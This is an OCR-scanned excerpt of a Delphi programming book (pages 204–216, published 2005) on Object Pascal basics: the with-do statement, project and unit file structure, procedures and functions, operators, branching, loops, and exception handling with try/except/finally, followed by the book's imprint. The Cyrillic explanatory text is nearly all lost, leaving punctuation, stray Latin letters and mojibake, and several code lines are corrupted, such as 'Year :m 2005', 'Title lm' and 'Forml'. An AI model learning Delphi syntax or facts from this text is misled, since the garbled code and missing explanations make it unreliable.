Object Pascal with-do. ,
| MyCD.Group := ' ';
MyCD.Year :m 2005;
| MyCD.Title := ' ';
! Forml.Caption := ' ';
| Forml.Font.Color := clWhite;
___
| with MyCD do
begin
Group := ' ';
Year := 2005;
Title := ' ';
end;
with Forml do
begin
Caption := ' ';
Font.Color := clWhite;
end;
:
with MyCD, Forml do
begin
Group := ' ';
Year := 2005;
Title lm ' ';
Caption : ' ';
Font,Color := clWhite;
end;
. ,
Delphi 205
, with,
, ,
.
Delphi
Delphi :
. dpr;
.pas;
. dfm.
. dfm Delphi , . .dpr .pas Delphi ,
. .
. dpr
Delphi , , ,
. .
program ;
//
//,
uses
Forms,
Unitl in 'Unitl.pas' {Forml}; //
//
{$R *.res} {
}
begin
//
Application.Initialize;
//
Application.CreateForm(TForml, Forml);
//
//. . .
//
Application.Run;
end.
206
Object Pascal
begin ,
, begin end
.
.pas
( ) j unit _;
j //
interface
uses
{ , ,
, ,
}
const
{ }
type
{ , }
var
{ , - }
//
implementation
uses
{ }
{$R *.dfm) //
const
{ }
type
{ }
var
{ }
{ }
end.
( i n t e r f a c e
implementation) , -
207
, ( uses).
, (
implementation),
.
- - ,
. , ,
.
.
:
procedure _(_) ;
{ ,
}
begin
//
end;
:
function _(_):
__;
{ ,
}
begin
//
Result := _.;
end;
, ,
:
1: ; ...; :
,
:
procedure _;
208
Object Pascal
function _:
__;
,
var, , .
,
.
.
, ,
. ,
.
, .
s := IntToStr(i); // IntToStr
delete (s, 1, 2 ) ; { delete,
s , .
, s
, }
( ),
// () Click
// GetCurrentDir
Exit.
Object Pascal,
.
.
209
: =
, .
.
, :
+ ;
;
* ;
/ ;
d i v ;
mod .
Boolean:
not ;
and "";
o r "";
"".
Boolean:
= ;
<> ;
< ;
> ;
<= ;
>= .
:
not (not 0 = 1; not I = 0);
and (0 and N = 0; 1 and 1 = 1);
210
Object Pascal
or (1 or N = 1; 0 or 0 = 0);
xor (0 xor 0 = 0; 0
xor 1 = 1; 1 xor 1 = 0);
s h l ;
shr .
:
- =, , <, >, <=, >= ;
+ ( ).
,
:
+ ( );
( );
* ( );
<= ( );
>= ( );
= ( Boolean);
( Boolean);
i n , ,
, (
Boolean).
,
:
as . :
var Obj: TObject;
// TObject
i s . :
var Obj: TObject; // TObject
if Obj is TButton then // Obj -
//TButton, ...
Obj.Caption := '';
211
=, <> .
, .
:
1.
( )
2.
not.
3.
4.
+, -, or, xor.
5.
,
begin end.
with-do,
.
.
i f case.
if
i f :
if then ^;
if then _ else _;
True,
, then,
,
i f - t h e n ( else), ,
e l s e .
i
212
Object Pascal
case
case , .
:
case of
!:
_1;
: _;
end;
case of
!:
_;
-. _;
else
_;
end;
!, ^!;
2 6_2 .. ,
e l s e ,
end, case.
, c a s e , .
Object Pascal :
for-do, while-do r e p e a t - u n t i l . .
for-do
for-do
:
for _
:= _
213
to _
do _;
f or-do
:
for _ := _
downto __
do _;
for , . .
vhile-do
while-do:
while do _;
while-do , , while do, F a l s e . .
repeat-until
r e p e a t - u n t i l :
repeat _ u n t i l ;
r e p e a t - u n t i l , , u n t i l ,
True.
Break
Continue. Break ,
Continue ,
, .
(exception) , . Object
Pascal :
214
Object Pascal
try
//,
! except
//,
< end;
, t r y except, except, .
, except
j except
on _1
on _2
on _
end;
do _1;
do _2;
do
__;
,
Exception. Delphi, "".
:
EZeroDivide ;
EAccessViolation ;
ERangeError
;
EStackOverflow - (
);
EConvertError (, );
EDatabaseError ;
EOutOfMemory ;
EFCreateError ;
E F i l e r E r r o r / ;
EFOpenError ;
E I n i F i l e E x c e p t i o n INI-;
EInOutError -.
215
, :
; except
on E: Exception do _;
end;
_____
do .Message,
.
finally
, _
___________
_ _
try
//,
//
finally
//,
end;
f i n a l l y
, , t r y
.
32.973.26-018.1
681.3.06
18
18
. .
Delphi. / . . . - .: "", 2005.-216, \.
ISBN 966-8806-02-6
, "Delphi. ". i
"Delphi. " ", ,
pi3HOMaHiTHi 11 , ! irpauiKn, KopncHi ,
CTHni Windows XP. ,
SMS, FTP-Miiem", , CGI- . |'
Windows INI-, !
piBHi i3 ! Windows API.
1 .
1 , Delphi, i
- Delphi,
Object Pascal.
32.973.26-018.1
Delphi
: . .
' : . .
11.07.2005. 60 84 1/16.
flanip . . . . . 12,6. .-. . 6,9.
2000 . 5-1212
.., , ., ./.: (044) 517-73-77; e-mail: info@micronika.com.ua.
' ,
11 1 !' : 1 51582 28.11.2003.
"1". 03151, ., . , 60
I S B N 9668806026
. ., , , 2005
"-", , , 2005